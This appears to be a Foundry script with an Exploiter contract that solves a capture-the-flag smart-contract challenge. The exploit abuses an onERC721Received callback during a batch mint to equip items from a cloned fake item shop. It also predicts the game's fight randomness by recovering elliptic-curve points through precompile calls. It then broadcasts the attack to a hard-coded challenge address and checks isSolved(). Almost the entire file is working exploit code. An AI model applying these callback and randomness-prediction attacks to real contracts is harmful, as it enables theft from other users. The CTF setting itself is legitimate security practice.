// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Script, console2} from "forge-std/Script.sol";
import "../test/Counter.t.sol";
import "../src/ItemShop.sol";
import "../src/ItemShop2.sol";
import "../src/Challenge.sol";
contract Exploiter {
Challenge public challenge;
NFT public nft;
ItemShop public itemShop;
Factory public factory;
ItemShop2 public itemShop2;
Exploiter public lmao;
uint256 public cnter = 0;
uint256 public constant fieldOrder =
uint256(21888242871839275222246405745257275088696311157297823662689037894645226208583);
uint256 public constant groupOrder =
uint256(21888242871839275222246405745257275088548364400416034343698204186575808495617);
function exploit_part_1(address chall) external {
challenge = Challenge(chall);
factory = challenge.FACTORY();
nft = challenge.TOKEN();
itemShop = challenge.ITEMSHOP();
itemShop2 = new ItemShop2(address(itemShop).code);
itemShop2.setApprovalForAll(address(nft), true);
address[] memory myself = new address[](1);
myself[0] = address(this);
nft.batchMint(myself);
}
function exploit_part_2() external {
address[] memory myself = new address[](1);
myself[0] = address(this);
nft.batchMint(myself);
nft.fight(1, 0);
}
function onERC721Received(address sender, address from, uint256 tokenId, bytes memory data) external returns (bytes4) {
cnter += 1;
if(cnter == 1) {
nft.equip(tokenId, address(itemShop2), 4);
nft.equip(tokenId, address(itemShop2), 5);
}
return this.onERC721Received.selector;
}
function modExp(uint256 _b, uint256 _e, uint256 _m) public returns (uint256 result) {
assembly {
let pointer := mload(0x40)
mstore(pointer, 0x20)
mstore(add(pointer, 0x20), 0x20)
mstore(add(pointer, 0x40), 0x20)
mstore(add(pointer, 0x60), _b)
mstore(add(pointer, 0x80), _e)
mstore(add(pointer, 0xa0), _m)
let value := mload(0xc0)
if iszero(call(gas(), 0x05, 0, pointer, 0xc0, pointer, 0x20)) {
revert(0, 0)
}
result := mload(pointer)
mstore(0x40, pointer)
}
}
function getInput(FighterVars calldata attacker, FighterVars calldata attackee) external returns (uint256 inputs) {
Trait memory trait = nft.traits(2);
uint256 prev_rand = 0;
prev_rand += uint256(trait.rarity);
prev_rand += uint256(trait.strength) << 16;
prev_rand += uint256(trait.dexterity) << 56;
prev_rand += uint256(trait.constitution) << 96;
prev_rand += uint256(trait.intelligence) << 136;
prev_rand += uint256(trait.wisdom) << 176;
prev_rand += uint256(trait.charisma) << 216;
// recover the elliptic curve point
uint256 cube_3_3 = modExp(prev_rand, 3, fieldOrder) + 3;
uint256 y_val = modExp(cube_3_3, (fieldOrder + 1) / 4, fieldOrder);
uint256 interim;
assembly {
interim := mload(0x40)
}
assembly {
let pointer := mload(0x40)
mstore(pointer, prev_rand)
mstore(add(pointer, 0x20), y_val)
mstore(add(pointer, 0x40), 0x200ac28172d3dfaf595636a5d34fc6a98f3168b32317278ab95d95792e3b4f8f)
if iszero(staticcall(gas(), 0x07, pointer, 0x60, pointer, 0x40)) { revert(0, 0)}
interim := mload(pointer)
mstore(0x40, pointer)
}
uint256 Qx = 2771061477252358712132284804733770040260252456558485434530149143843066948317;
uint256 Qy = 21636887117896825552852388732829976843920120171647088092176094089927511555925;
assembly {
let pointer := mload(0x40)
mstore(pointer, Qx)
mstore(add(pointer, 0x20), Qy)
mstore(add(pointer, 0x40), interim)
if iszero(staticcall(gas(), 0x07, pointer, 0x60, pointer, 0x40)) { revert(0, 0)}
interim := mload(pointer)
mstore(0x40, pointer)
}
return type(uint256).max - interim;
}
function onERC1155Received(address, address, uint256, uint256, bytes calldata)
external
pure
returns (bytes4)
{
return this.onERC1155Received.selector;
}
function onERC1155BatchReceived(address, address, uint256[] calldata, uint256[] calldata, bytes calldata)
external
pure
returns (bytes4)
{
return this.onERC1155BatchReceived.selector;
}
}
contract CounterScript is Script {
Challenge challenge;
NFT nft;
ItemShop itemShop;
Factory factory;
ItemShop2 itemShop2;
Exploiter lmao;
uint256 public constant fieldOrder =
uint256(21888242871839275222246405745257275088696311157297823662689037894645226208583);
uint256 public constant groupOrder =
uint256(21888242871839275222246405745257275088548364400416034343698204186575808495617);
function setUp() public {}
function run() public {
vm.startBroadcast();
challenge = Challenge(0x4c2f201aFd08F986BDeed4907C263795c1510F75);
/*lmao = new Exploiter();
console2.log(address(lmao));
lmao.exploit_part_1(address(challenge));
vm.stopBroadcast();*/
lmao = Exploiter(0xf25888e0B386Ed0739B0d2D77CE68B6e1E0583b5);
console2.log(lmao.cnter());
lmao.exploit_part_2();
console2.logBool(challenge.isSolved());
vm.stopBroadcast();
}
}